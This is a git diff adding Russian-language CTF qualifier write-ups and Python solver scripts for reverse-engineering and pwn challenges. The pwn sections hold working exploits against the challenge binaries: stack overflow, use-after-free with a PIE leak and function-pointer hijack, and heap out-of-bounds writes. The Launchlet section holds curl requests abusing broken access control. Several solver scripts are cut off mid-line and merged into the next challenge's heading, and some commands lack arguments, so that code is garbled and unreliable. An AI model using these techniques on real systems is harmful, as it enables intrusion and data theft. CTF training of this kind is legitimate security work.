+ +В раздатке есть .NET-установщик `ChameleonLine.dll` для удалённой поддержки цеховых ПК. В сборке находятся зашифрованный конфиг загрузчика и данные для его расшифровки. + +## Решение + +Открываем сборку в ILSpy или dnSpy и идём к коду загрузки конфига. В пользовательских строках находим три значения: + +| Строка | Что в ней лежит | +|---|---| +| `ResourceTag` | Маркер `CFGv2:` и base64 зашифрованного конфига | +| `KeyHex` | 32 hex-символа с префиксом `0011` — ключ AES-128 | +| `IvHex` | 32 hex-символа с префиксом `1021` — IV | + +Рядом находится AES-CBC-дешифратор, который использует эти строки как ключ, IV и зашифрованные данные. + +Строки .NET лежат в `#US` в UTF-16LE, поэтому для автоматизации достаточно извлечь их прямо из бинаря. Находим `CFGv2:`, отрезаем префикс, а ключ и IV читаем как hex-представления 16-байтных значений. + +Расшифровку можно поручить OpenSSL. Сохраняем base64-тело одной строкой в `config.b64`. В `-K` и `-iv` подставляем полные hex-строки, без префикса `0x`. + +```bash +openssl enc -d -aes-128-cbc -K -iv \ + -nosalt -A -base64 -in config.b64 +``` + +Получаем JSON-конфиг загрузчика. В поле `export` лежит флаг. Запуск самого установщика для этого не нужен, поскольку все данные уже были в DLL. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{aes_resource_config_guided_the_loader}` diff --git a/qualifiers/chameleon-line-dotnet-reverse-easy/solve/solve.py b/qualifiers/chameleon-line-dotnet-reverse-easy/solve/solve.py new file mode 100644 index 0000000..9bab918 --- /dev/null +++ b/qualifiers/chameleon-line-dotnet-reverse-easy/solve/solve.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python3 +from pathlib import Path +import argparse, base64, hashlib, json, lzma, marshal, os, plistlib, re, struct, subprocess, sys, zipfile, zlib + +def xor(data, key): + return bytes(b ^ key[i % len(key)] for i, b in enumerate(data)) + +def find_after(data, marker): + off = data.index(marker) + len(marker) + ln = struct.unpack_from('CommBridge + +

+ PWN + medium +

+ +CommBridge работает как шлюз между SCADA-сервером и контроллерами. В нём авторизуемся, отправляем команду и подтверждаем её выполнение. В раздатке есть ELF `commbridge`. Для экспорта нужны два служебных поля, которые обычная команда не выставляет. + +## Решение + +В обработчике `auth` находим сравнение с постоянным токеном `operator`. Передаём его в пункте `1) auth` и переходим к приёму команды. Она декодируется в такую структуру на стеке: + +```c +struct frame { + char decoded[64]; + uint32_t access; + uint32_t cmd; +}; +``` + +Для экспорта нужны `access = 0x434d4447` и `cmd = 0x26050613`. Оба поля лежат сразу за `decoded`, так что смотрим, сколько данных туда можно записать. + +Сырая строка ограничена 120 символами. Но декодер понимает последовательность `@NNXX`: пять символов превращаются в `NN` копий байта `XX`, причём оба числа записаны в hex. Размер результата уже никто не проверяет. Получаем переполнение стека через расширение короткой команды. + +Заполняем 64 байта буфера одной последовательностью `@40aa`, а затем дописываем две нужные константы в little-endian: + +```python +import struct + +rights = struct.pack("= 8 and fields[-1] == name: + return int(fields[1], 16) + raise RuntimeError(f"symbol not found: {name}") + +def connect(args): + if args.local: + env = os.environ.copy() + env["CTF_FLAG"] = args.flag + proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env) + return Tube(proc=proc) + return Tube(sock=socket.create_connection((args.host, args.port), timeout=5)) + +def choose(io, value): + io.recvuntil(b">") + io.sendline(str(value).encode()) + +def enc_byte(b): return f"@01{b:02x}".encode() +def main(): + p=argparse.ArgumentParser(); p.add_argument("--host",default="127.0.0.1"); p.add_argument("--port",type=int,default=31346); p.add_argument("--local",action="store_true"); p.add_argument("--binary",default="../public/commbridge"); p.add_argument("--flag",default="caplag{escaped_scada_command_expanded_into_dispatch_rights}"); args=p.parse_args() + io=connect(args); choose(io,1); io.recvuntil(b"token:"); io.sendline(b"operator") + payload=b"@40aa"+b"".join(enc_byte(b) for b in struct.pack("CopyCache Runner + +

+ PWN + hard +

+ +Раннер сборки прошивок загружает шаблон политики подписи в кеш и проверяет его перед запуском задания. На диске шаблон менять нельзя, но для запуска важна именно копия в памяти. В ELF `copycache-runner` ищем, какие поля открывают экспорт и кто может их перезаписать. + +## Решение + +Смотрим расположение полей кешированной политики. + +| Смещение | Поле | Что нужно для запуска | +|---:|---|---| +| 0 | `name[16]` | На проверку не влияет | +| 16 | `flags` | `0x4558504f` | +| 20 | `job` | `0x26050613` | +| 24 | `checksum` | `flags ^ job ^ 0xa5a5a5a5` | + +После загрузки `job` уже правильный, а `flags` равен нулю. Поэтому прямой вызов `run sealed job` заканчивается `policy denied`. + +В меню есть операция `AEAD_COPY`. Она принимает смещение и 32-битное слово, проверяет только попадание записи внутрь всей структуры, после чего выполняет: + +```c +memcpy((char *)&cache + off, &word, 4); +``` + +Граница структуры соблюдается, но служебные поля внутри неё доступны для записи наравне с остальными данными. Для экспорта меняем разрешение и пересчитываем контрольную сумму. + +```python +flags = 0x4558504f +job = 0x26050613 +checksum = flags ^ job ^ 0xa5a5a5a5 +``` + +Через `3) AEAD_COPY` пишем `flags` по смещению `16`, затем `checksum` по смещению `24`. Если хочется проверить себя, `2) show cached policy` показывает новые значения. + +При выборе `4) run sealed job` сервис проверяет разрешение на экспорт, номер задания и контрольную сумму в кеше. Изменённая политика проходит проверки, и сервис выдаёт флаг. Файл шаблона на диске при этом остаётся прежним. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{copy_cache_changed_policy_without_touching_disk}` diff --git a/qualifiers/copycache-runner-pwn-hard/solve/solve.py b/qualifiers/copycache-runner-pwn-hard/solve/solve.py new file mode 100644 index 0000000..e97495a --- /dev/null +++ b/qualifiers/copycache-runner-pwn-hard/solve/solve.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python3 +import argparse +import os +import socket +import struct +import subprocess +import sys + +class Tube: + def __init__(self, sock=None, proc=None): + self.sock = sock + self.proc = proc + def recv(self, n=4096): + if self.sock: + return self.sock.recv(n) + return os.read(self.proc.stdout.fileno(), n) + def send(self, data): + if self.sock: + self.sock.sendall(data) + else: + os.write(self.proc.stdin.fileno(), data) + def sendline(self, data): + self.send(data + b"\n") + def recvuntil(self, marker): + out = b"" + while marker not in out: + chunk = self.recv(1) + if not chunk: + raise EOFError(out) + out += chunk + return out + +def symbol_value(binary, name): + out = subprocess.check_output(["readelf", "-sW", binary], text=True) + for line in out.splitlines(): + fields = line.split() + if len(fields) >= 8 and fields[-1] == name: + return int(fields[1], 16) + raise RuntimeError(f"symbol not found: {name}") + +def connect(args): + if args.local: + env = os.environ.copy() + env["CTF_FLAG"] = args.flag + proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env) + return Tube(proc=proc) + return Tube(sock=socket.create_connection((args.host, args.port), timeout=5)) + +def choose(io, value): + io.recvuntil(b">") + io.sendline(str(value).encode()) + +def write_word(io, off, word): + choose(io,3); io.recvuntil(b"dst offset:"); io.sendline(str(off).encode()); io.recvuntil(b"word:"); io.sendline(hex(word).encode()) +def main(): + p=argparse.ArgumentParser(); p.add_argument("--host",default="127.0.0.1"); p.add_argument("--port",type=int,default=31349); p.add_argument("--local",action="store_true"); p.add_argument("--binary",default="../public/copycache-runner"); p.add_argument("--flag",default="caplag{copy_cache_changed_policy_without_touching_disk}"); args=p.parse_args() + io=connect(args); flags=0x4558504f; job=0x26050613; checksum=flags^job^0xa5a5a5a5 + write_word(io,16,flags); write_word(io,24,checksum) + choose(io,4); data=io.recvuntil(b"}"); print(data[data.rfind(b"caplag{"):].decode()) +if __name__=="__main__": sys.exit(main()) diff --git a/qualifiers/cratewatch-native-rust-reverse-hard/WRITEUP.md b/qualifiers/cratewatch-native-rust-reverse-hard/WRITEUP.md new file mode 100644 index 0000000..c9eab16 --- /dev/null +++ b/qualifiers/cratewatch-native-rust-reverse-hard/WRITEUP.md @@ -0,0 +1,50 @@ +

CrateWatch

+ +

+ Reverse + hard +

+ +В раздатке есть Rust-бинарь `cratewatch`, который сканирует рабочий каталог в поисках ключей. Нужно определить, куда программа отправляет найденные данные. Начинаем со строк и встроенных конфигов, затем проверяем их использование в коде. + +## Решение + +Смотрим секции ELF и строки: + +```bash +readelf -SW public/cratewatch +strings -a public/cratewatch +``` + +Находим нестандартную секцию `.cratewatch` и маркер `CRATEWATCHCFG`. В строках также виден `cratewatch-fastlog`, который код инициализации сканера связывает с конфигом. + +За маркером лежит простой контейнер: + +| Поле | Формат | +|---|---| +| Маркер | ASCII `CRATEWATCHCFG` | +| Длина | 4 байта, little-endian | +| Данные | JSON, замаскированный повторяющимся XOR-ключом | + +Ключом служит найденная строка `cratewatch-fastlog`. Читаем указанное число байт и снимаем XOR: + +```python +from pathlib import Path +import json + +data = Path("public/cratewatch").read_bytes() +start = data.index(b"CRATEWATCHCFG") + len(b"CRATEWATCHCFG") +size = int.from_bytes(data[start:start + 4], "little") +blob = data[start + 4:start + 4 + size] +key = b"cratewatch-fastlog" +plain = bytes(b ^ key[i % len(key)] for i, b in enumerate(blob)) +print(json.loads(plain)["flag"]) +``` + +Получаем читаемый JSON. Endpoint внутри — ложный след, а нужное значение хранится в поле `flag`. Объёмный Rust-код усложнял навигацию, но для решения хватило найти контейнер и его декодер. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{rust_trait_scanner_exposed_the_decoy_exfil}` diff --git a/qualifiers/cratewatch-native-rust-reverse-hard/solve/solve.py b/qualifiers/cratewatch-native-rust-reverse-hard/solve/solve.py new file mode 100644 index 0000000..6de2d83 --- /dev/null +++ b/qualifiers/cratewatch-native-rust-reverse-hard/solve/solve.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python3 +from pathlib import Path +import argparse, base64, hashlib, json, lzma, marshal, os, plistlib, re, struct, subprocess, sys, zipfile, zlib + +def xor(data, key): + return bytes(b ^ key[i % len(key)] for i, b in enumerate(data)) + +def find_after(data, marker): + off = data.index(marker) + len(marker) + ln = struct.unpack_from('FvncLite + +

+ Reverse + easy +

+ +В раздатке есть клиент курьерского терминала `FvncLiteCourier.apk`. Нужно найти скрытую команду экспорта аудита. Начинаем с содержимого APK, который можно распаковать как ZIP. + +## Решение + +В архиве интересуют два файла: + +| Файл | Зачем нужен | +|---|---| +| `classes.dex` | Код сервиса и строковый ключ | +| `assets/fvnc_table.bin` | Зашифрованная таблица команд | + +Открываем DEX в jadx, находим класс `OpsService` и метод `decode()`. Он побайтово XOR-ит таблицу повторяющимся ключом `fvnc-lite-v4`. Никаких дополнительных параметров устройства в расшифровке нет. + +Повторяем алгоритм отдельно: + +```python +import json +import zipfile + +with zipfile.ZipFile("public/FvncLiteCourier.apk") as apk: + blob = apk.read("assets/fvnc_table.bin") +key = b"fvnc-lite-v4" +plain = bytes(b ^ key[i % len(key)] for i, b in enumerate(blob)) +commands = json.loads(plain) +print(commands["audit.export"]) +``` + +Расшифрованный JSON описывает команды accessibility/ops-сервиса. Среди обычных операций находим `audit.export`, значение которой и есть флаг. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{accessibility_command_table_recovered}` diff --git a/qualifiers/fvnclite-android-reverse-easy/solve/solve.py b/qualifiers/fvnclite-android-reverse-easy/solve/solve.py new file mode 100644 index 0000000..89037cc --- /dev/null +++ b/qualifiers/fvnclite-android-reverse-easy/solve/solve.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python3 +from pathlib import Path +import argparse, base64, hashlib, json, lzma, marshal, os, plistlib, re, struct, subprocess, sys, zipfile, zlib + +def xor(data, key): + return bytes(b ^ key[i % len(key)] for i, b in enumerate(data)) + +def find_after(data, marker): + off = data.index(marker) + len(marker) + ln = struct.unpack_from('GumboGate + +

+ PWN + easy +

+ +На старте доступны сервис очистки HTML-накладных и бинарь `gumbogate`. Загружаем тег поставщика, затем запрашиваем отчёт. Сервис возвращает отчёт только после одобрения, а поле одобрения лежит сразу за массивом атрибутов. + +## Решение + +Смотрим структуру страницы в куче: + +```c +struct attr { char name[8]; char value[8]; }; +struct page { + struct attr attrs[8]; + uint32_t approved; + char report[64]; +}; +``` + +Для экспорта нужно `approved == 0x52505041`. В little-endian это четыре ASCII-байта `APPR`. + +Парсер выбирает корзину по длине имени: `bucket = strlen(name) & 7`. Затем берёт `slot = used[bucket]++` и пишет в `attrs[slot]`. Верхнюю границу счётчика не проверяют, поэтому девятый атрибут одной корзины попадает в несуществующий `attrs[8]`. + +Один атрибут занимает 16 байт, поэтому девятый начинается по смещению `8 × 16 = 128`, ровно на поле `approved`. Первые четыре байта его имени зададут значение этого поля. + +Все имена делаем длиной восемь символов, чтобы они попали в корзину `0`: + +```python +attrs = [f"A{i:07d}=x" for i in range(8)] +attrs.append("APPR0000=x") +tag = "<" + " ".join(attrs) + ">" +``` + +Восемь первых имён заполняют массив, `APPR0000` выходит за его границу и выставляет нужную константу. Отправляем тег в `1) ingest supplier tag`, затем выбираем `2) export cleaned report`. Проверка одобрения проходит, сервис отдаёт флаг. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{attribute_bucket_walked_past_the_sanitizer}` diff --git a/qualifiers/gumbogate-pwn-easy/solve/solve.py b/qualifiers/gumbogate-pwn-easy/solve/solve.py new file mode 100644 index 0000000..8b69db3 --- /dev/null +++ b/qualifiers/gumbogate-pwn-easy/solve/solve.py @@ -0,0 +1,71 @@ +#!/usr/bin/env python3 +import argparse +import os +import socket +import struct +import subprocess +import sys + +class Tube: + def __init__(self, sock=None, proc=None): + self.sock = sock + self.proc = proc + def recv(self, n=4096): + if self.sock: + return self.sock.recv(n) + return os.read(self.proc.stdout.fileno(), n) + def send(self, data): + if self.sock: + self.sock.sendall(data) + else: + os.write(self.proc.stdin.fileno(), data) + def sendline(self, data): + self.send(data + b"\n") + def recvuntil(self, marker): + out = b"" + while marker not in out: + chunk = self.recv(1) + if not chunk: + raise EOFError(out) + out += chunk + return out + +def symbol_value(binary, name): + out = subprocess.check_output(["readelf", "-sW", binary], text=True) + for line in out.splitlines(): + fields = line.split() + if len(fields) >= 8 and fields[-1] == name: + return int(fields[1], 16) + raise RuntimeError(f"symbol not found: {name}") + +def connect(args): + if args.local: + env = os.environ.copy() + env["CTF_FLAG"] = args.flag + proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env) + return Tube(proc=proc) + return Tube(sock=socket.create_connection((args.host, args.port), timeout=5)) + +def choose(io, value): + io.recvuntil(b">") + io.sendline(str(value).encode()) + +def main(): + p = argparse.ArgumentParser() + p.add_argument("--host", default="127.0.0.1") + p.add_argument("--port", type=int, default=31341) + p.add_argument("--local", action="store_true") + p.add_argument("--binary", default="../public/gumbogate") + p.add_argument("--flag", default="caplag{attribute_bucket_walked_past_the_sanitizer}") + args = p.parse_args() + io = connect(args) + names = [f"A{i:07d}".encode() for i in range(8)] + [b"APPR0000"] + tag = b"<" + b" ".join(n + b"=x" for n in names) + b">" + choose(io, 1) + io.recvuntil(b"tag:") + io.sendline(tag) + choose(io, 2) + data = io.recvuntil(b"}") + print(data[data.rfind(b"caplag{"):].decode()) +if __name__ == "__main__": + sys.exit(main()) diff --git a/qualifiers/heiftrack-pwn-medium/WRITEUP.md b/qualifiers/heiftrack-pwn-medium/WRITEUP.md new file mode 100644 index 0000000..bd071a1 --- /dev/null +++ b/qualifiers/heiftrack-pwn-medium/WRITEUP.md @@ -0,0 +1,47 @@ +

HeifTrack

+ +

+ PWN + medium +

+ +HeifTrack проверяет последовательности кадров с камер. Он загружает chunk, привязывает его к воспроизведению и сверяет таблицы. В ELF `heiftrack` обнаруживаем, что ошибочный chunk удаляется, но воспроизведение продолжает ссылаться на него. + +## Решение + +Chunk занимает 108 байт: + +```c +struct chunk { + uint32_t magic; + uint32_t frames; + char label[32]; + uint32_t approved; + char pad[64]; +}; +``` + +Экспорт проверяет два поля по указателю `playback`: `magic == 0x48454946` и `approved == 0x54524143`. У обычного загруженного объекта `approved` равен нулю. + +Сначала выбираем `1) load chunk`, затем `2) bind track`. Теперь и `chunk0`, и `playback` указывают на один объект. В `3) validate tables` вводим несовпадающие значения `1`, `2`, `3`. Валидация делает `free(chunk0)` и обнуляет `chunk0`, но про `playback` забывает. Получаем **use-after-free**. + +Остаётся занять освободившуюся память своими данными. Пункт `4) add metadata item` выделяет блок того же размера, 108 байт. Готовим поддельный chunk: + +```python +import struct + +payload = struct.pack("= 8 and fields[-1] == name: + return int(fields[1], 16) + raise RuntimeError(f"symbol not found: {name}") + +def connect(args): + if args.local: + env = os.environ.copy() + env["CTF_FLAG"] = args.flag + proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env) + return Tube(proc=proc) + return Tube(sock=socket.create_connection((args.host, args.port), timeout=5)) + +def choose(io, value): + io.recvuntil(b">") + io.sendline(str(value).encode()) + +CHUNK_MAGIC=0x48454946; CHUNK_OK=0x54524143 +def main(): + p=argparse.ArgumentParser(); p.add_argument("--host",default="127.0.0.1"); p.add_argument("--port",type=int,default=31344); p.add_argument("--local",action="store_true"); p.add_argument("--binary",default="../public/heiftrack"); p.add_argument("--flag",default="caplag{conflicting_track_tables_kept_the_chunk_alive}"); args=p.parse_args() + io=connect(args); choose(io,1); choose(io,2); choose(io,3); io.sendline(b"1"); io.sendline(b"2"); io.sendline(b"3") + payload=struct.pack("Launchlet + +

+ Web + medium +

+ +Launchlet — конструктор приложений с preview, панелью деплоя и API данных. На старте есть URL сервиса. В клиентских манифестах находятся токены, идентификаторы и описания трёх серверных операций с неполной проверкой прав. + +## Решение + +Открываем DevTools и смотрим, что загружает интерфейс: + +| Ресурс | Что узнаём | +|---|---| +| `/api/app/bootstrap` | Параметры preview и API данных | +| `/assets/build-manifest.json` | Токен получения build receipt | +| `/assets/mock-supabase-client.js` | Ключ API и гостевую сессию | +| `/assets/server-reference-manifest.json` | Идентификатор серверного действия | + +### Токен receipt + +В `build-manifest.json` находим проект `launchlet-demo-board`, `previewReceipt = lrec_preview_demo_2026` и адрес `/api/receipts/redeem`. Пробуем предъявить найденный токен: + +```bash +curl -sS http://:31380/api/receipts/redeem \ + -H 'Content-Type: application/json' \ + --data '{"receipt":"lrec_preview_demo_2026","project":"launchlet-demo-board"}' +``` + +Сервер принимает его как право прочитать receipt и возвращает первый флаг. Build pipeline оставил в публичном артефакте повторно используемый токен доступа. + +### Доступ к workspace + +Из bootstrap или клиентского JS берём `anonKey = ll_anon_mock_publishable` и сессию `preview_guest_session`. Интерфейс читает `workspace_notes` с фильтром `workspace_id=eq.ws-launchlet-public`. + +Проверяем, ограничивает ли сессия доступ к строкам. В имени workspace заменяем `public` на `internal`, сохраняя гостевой ключ и сессию: + +```bash +curl -sS 'http://:31380/api/db/rest/v1/workspace_notes?select=workspace_id,title,body&workspace_id=eq.ws-launchlet-internal' \ + -H 'apikey: ll_anon_mock_publishable' \ + -H 'Authorization: Bearer preview_guest_session' +``` + +Получаем внутреннюю заметку со вторым флагом. API проверяет ключ и наличие preview-сессии, но выбирает доступные строки по переданному query-параметру. Workspace сессии с ним не сверяется. + +### Область серверного действия + +В `server-reference-manifest.json` открываем запись `serverActions.inspectDeploy`. Из неё берём идентификатор `act_6f4b9a2c1d0e8a71` и endpoint `/api/actions/invoke`. Манифест также описывает `intendedScope` — область действия. Проверяем, привязывает ли сервер переданные аргументы к этой области. + +Для вызова нужны оба идентификатора, `workspaceId` и `projectId`. Проверяем пару `ws-launchlet-internal` и `proj-enterprise-rollout`, сохраняя публичный проект в заголовке `X-Launchlet-Preview`. + +```bash +curl -sS http://:31380/api/actions/invoke \ + -H 'Content-Type: application/json' \ + -H 'X-Launchlet-Preview: launchlet-demo-board' \ + --data '{ + "actionId":"act_6f4b9a2c1d0e8a71", + "args":{ + "workspaceId":"ws-launchlet-internal", + "projectId":"proj-enterprise-rollout" + } + }' +``` + +Dispatcher принимает чужие workspace и project с гостевым preview-контекстом и возвращает третий флаг. Проверка идентификатора действия есть, а привязки аргументов к разрешённой области нет. В этой ветке, как и при чтении заметок, параметры клиента позволяют выбрать чужие данные. + +[Солвер](solve/solve.py). + +## Все этапы + +| Этап | Флаг | +|---|---| +| 1 | `caplag{preview_manifest_kept_the_receipt}` | +| 2 | `caplag{anon_key_needs_real_rls}` | +| 3 | `caplag{server_actions_need_scope_checks}` | diff --git a/qualifiers/launchlet-web-medium/solve/solve.py b/qualifiers/launchlet-web-medium/solve/solve.py new file mode 100644 index 0000000..d406269 --- /dev/null +++ b/qualifiers/launchlet-web-medium/solve/solve.py @@ -0,0 +1,90 @@ +#!/usr/bin/env python3 +from __future__ import annotations + +import argparse +import json +from urllib import parse, request + + +def get_json(base: str, path: str, headers: dict[str, str] | None = None): + req = request.Request(base + path, headers={"Accept": "application/json", **(headers or {})}) + with request.urlopen(req, timeout=5) as resp: + return json.loads(resp.read().decode()) + + +def post_json(base: str, path: str, payload: dict, headers: dict[str, str] | None = None): + body = json.dumps(payload).encode() + req = request.Request( + base + path, + data=body, + method="POST", + headers={ + "Accept": "application/json", + "Content-Type": "application/json", + **(headers or {}), + }, + ) + with request.urlopen(req, timeout=5) as resp: + return json.loads(resp.read().decode()) + + +def solve(base: str) -> list[str]: + base = base.rstrip("/") + + bootstrap = get_json(base, "/api/app/bootstrap") + build_manifest = get_json(base, bootstrap["api"]["buildManifest"]) + stage1 = post_json( + base, + build_manifest["receiptRedeemEndpoint"], + { + "receipt": build_manifest["previewReceipt"], + "project": build_manifest["project"], + }, + )["flag"] + + internal_query = parse.urlencode( + { + "select": "workspace_id,title,body", + "workspace_id": "eq.ws-launchlet-internal", + } + ) + notes = get_json( + base, + f"{build_manifest['dataApiBase']}/workspace_notes?{internal_query}", + headers={ + "apikey": bootstrap["client"]["anonKey"], + "Authorization": f"Bearer {bootstrap['client']['session']}", + }, + ) + stage2 = next(body for row in notes for body in [row["body"]] if "caplag{" in body) + stage2 = stage2[stage2.index("caplag{") : stage2.index("}") + 1] + + refs = get_json(base, bootstrap["api"]["serverReferences"]) + action = refs["serverActions"]["inspectDeploy"] + stage3 = post_json( + base, + action["endpoint"], + { + "actionId": action["id"], + "args": { + "workspaceId": "ws-launchlet-internal", + "projectId": "proj-enterprise-rollout", + }, + }, + headers={"X-Launchlet-Preview": build_manifest["project"]}, + )["flag"] + + return [stage1, stage2, stage3] + + +def main() -> None: + parser = argparse.ArgumentParser(description="Solve Launchlet web challenge chain.") + parser.add_argument("url", nargs="?", default="http://127.0.0.1:31380") + args = parser.parse_args() + + for flag in solve(args.url): + print(flag) + + +if __name__ == "__main__": + main() diff --git a/qualifiers/lease-mesh-pwn-medium/WRITEUP.md b/qualifiers/lease-mesh-pwn-medium/WRITEUP.md new file mode 100644 index 0000000..022c228 --- /dev/null +++ b/qualifiers/lease-mesh-pwn-medium/WRITEUP.md @@ -0,0 +1,52 @@ +

LeaseMesh

+ +

+ PWN + medium +

+ +LeaseMesh позволяет создавать, просматривать, закрывать и пересылать «аренды» маршрутов. В раздатке есть ELF `lease-mesh` с PIE и сохранёнными символами. Для получения флага нужно узнать адрес `flag_export` и подменить обработчик маршрута. + +## Решение + +У маршрута размер 144 байта. Для атаки важны следующие поля: + +| Смещение | Поле | Назначение | +|---:|---|---| +| 0 | `magic`, 8 байт | `0x4c454153454d4553` | +| 8 | `name[24]` | Имя маршрута | +| 32 | `generation`, 8 байт | Поколение объекта | +| 40 | `handler`, 8 байт | Указатель на обработчик | +| 48 | `approved`, 4 байта | Для экспорта нужно `0x51524f4b` | +| 52 | `memo_len`, 4 байта | Длина заметки | +| 56 | `memo[88]` | Сама заметка | + +Открываем маршрут в слоте `0` через `1) open route lease`, имя и заметка любые. В пункте `4) inspect route` выбираем слот `0`. Из `handler=%p` получаем адрес `route_status` в запущенном процессе и сохраняем его числом в `leaked_handler`. Через `readelf -sW public/lease-mesh` находим значения символов `route_status` и `flag_export`. Смещения относительно базы PIE обозначим `offset_route_status` и `offset_flag_export`. Вычитаем первое из утечки и прибавляем второе: + +```python +pie_base = leaked_handler - offset_route_status +target = pie_base + offset_flag_export +``` + +Теперь освобождаем маршрут через `2) close route lease`, указывая слот `0`. В `close_route` есть `free(routes[idx])`, но нет обнуления `routes[idx]`. Значит, слот продолжает ссылаться на освобождённую память. + +Пункт `3) import raw decoder packet` выделяет ровно `sizeof(struct route)` и заполняет блок переданными байтами. Собираем подделку: + +```python +import struct + +payload = struct.pack("= 8 and fields[-1] == name: + return int(fields[1], 16) + raise RuntimeError(f"symbol not found: {name}") + + +def connect(args): + if args.local: + env = os.environ.copy() + env["CTF_FLAG"] = args.flag + proc = subprocess.Popen( + [args.binary], + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + env=env, + ) + return Tube(proc=proc) + sock = socket.create_connection((args.host, args.port), timeout=5) + return Tube(sock=sock) + + +def choose(io, value): + io.recvuntil(b">") + io.sendline(str(value).encode()) + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("--host", default="127.0.0.1") + parser.add_argument("--port", type=int, default=31338) + parser.add_argument("--local", action="store_true") + parser.add_argument("--binary", default="../public/lease-mesh") + parser.add_argument("--flag", default="caplag{stale_handle_reclaimed_the_route}") + args = parser.parse_args() + + route_status = symbol_value(args.binary, "route_status") + flag_export = symbol_value(args.binary, "flag_export") + + io = connect(args) + + choose(io, 1) + io.recvuntil(b"slot:") + io.sendline(b"0") + io.recvuntil(b"name:") + io.sendline(b"east-mirror") + io.recvuntil(b"memo:") + io.sendline(b"leased partner route") + + choose(io, 4) + io.recvuntil(b"slot:") + io.sendline(b"0") + io.recvuntil(b"handler=") + leaked_handler = int(io.recvuntil(b" approved=")[: -len(b" approved=")], 16) + pie_base = leaked_handler - route_status + target = pie_base + flag_export + + choose(io, 2) + io.recvuntil(b"slot:") + io.sendline(b"0") + + forged = struct.pack("Mileage MDM + +

+ Reverse + hard +

+ +В раздатке есть `MileageMDM.ipa` и `NOTES.md` со схемой маскирования. MDM-агент автопарка хранит офлайн-доказательство подлинности профиля и карту API-селекторов. Нужно связать параметры профиля с блоком данных в Mach-O. + +## Решение + +Распаковываем IPA как ZIP и смотрим `Payload/MileageMDM.app/`: + +| Файл | Что ищем | +|---|---| +| `Info.plist` | Значение `AttestSeed` | +| `embedded.mobileprovision` | Тот же seed для сверки | +| `MileageMDM` | Маркер `MDMPROOF` и зашифрованную карту | + +Согласно `NOTES.md`, ключ состоит из первых 16 байт SHA-256 от `AttestSeed`, а данные скрыты повторяющимся XOR. Seed лежит в `Info.plist` и дублируется в профиле, так что секретным он не является. + +В бинаре находим `MDMPROOF`. Следующие четыре байта — длина блока в little-endian, дальше идёт сам блок. Читаем `AttestSeed` из plist в переменную `seed`, а зашифрованные байты — в `blob`, затем расшифровываем: + +```python +import hashlib +import json +import plistlib +import zipfile + +with zipfile.ZipFile("public/MileageMDM.ipa") as ipa: + data = ipa.read("Payload/MileageMDM.app/MileageMDM") + profile = plistlib.loads(ipa.read("Payload/MileageMDM.app/Info.plist")) +seed = profile["AttestSeed"] +pos = data.index(b"MDMPROOF") + len(b"MDMPROOF") +size = int.from_bytes(data[pos:pos + 4], "little") +blob = data[pos + 4:pos + 4 + size] +key = hashlib.sha256(seed.encode()).digest()[:16] +plain = bytes(b ^ key[i % len(key)] for i, b in enumerate(blob)) +proof = json.loads(plain) +print(proof["flag"]) +``` + +Важно брать байты хеша через `digest()`, а не первые 16 символов hex-представления. С правильным ключом получается JSON-карта селекторов, в которой поле `flag` содержит искомое доказательство. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{selector_hashes_opened_the_mdm_proof}` diff --git a/qualifiers/mileage-mdm-ios-reverse-hard/solve/solve.py b/qualifiers/mileage-mdm-ios-reverse-hard/solve/solve.py new file mode 100644 index 0000000..275dace --- /dev/null +++ b/qualifiers/mileage-mdm-ios-reverse-hard/solve/solve.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python3 +from pathlib import Path +import argparse, base64, hashlib, json, lzma, marshal, os, plistlib, re, struct, subprocess, sys, zipfile, zlib + +def xor(data, key): + return bytes(b ^ key[i % len(key)] for i, b in enumerate(data)) + +def find_after(data, marker): + off = data.index(marker) + len(marker) + ln = struct.unpack_from('Modbus Mirror + +

+ Reverse + medium +

+ +В раздатке есть диагностическая утилита `modbus_mirror`, написанная на C для PLC/Modbus-контура. Внутри находится зеркальная таблица ladder-регистров с сервисным ключом. Начинаем с разбора данных, которые использует утилита. + +## Решение + +В Ghidra или IDA видим `validate_frame`, проверку CRC16 и обработку регистров. Рядом со строками и кодом валидации встречаются `MMIRCFG` и `modbus-mirror`. Первый похож на сигнатуру контейнера, второй используется как XOR-ключ. + +Разметка блока оказывается такой: + +```text +MMIRCFG | длина u32 LE | зашифрованный JSON +``` + +Длина нужна, чтобы отделить полезные данные от остального ELF. Находим маркер, читаем размер и берём ровно соответствующий фрагмент: + +```python +from pathlib import Path +import json + +data = Path("public/modbus_mirror").read_bytes() +pos = data.index(b"MMIRCFG") + len(b"MMIRCFG") +size = int.from_bytes(data[pos:pos + 4], "little") +blob = data[pos + 4:pos + 4 + size] +key = b"modbus-mirror" +plain = bytes(b ^ key[i % len(key)] for i, b in enumerate(blob)) +print(json.loads(plain)["service"]) +``` + +После XOR получаем JSON с зеркалом регистров. Поле `service` содержит сервисный ключ — это и есть флаг. Логика Modbus помогла найти место использования конфига, но генерировать корректные кадры для решения не требуется. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{ladder_registers_reflected_the_service_key}` diff --git a/qualifiers/modbus-mirror-native-c-reverse-medium/solve/solve.py b/qualifiers/modbus-mirror-native-c-reverse-medium/solve/solve.py new file mode 100644 index 0000000..a32d8ec --- /dev/null +++ b/qualifiers/modbus-mirror-native-c-reverse-medium/solve/solve.py @@ -0,0 +1,20 @@ +#!/usr/bin/env 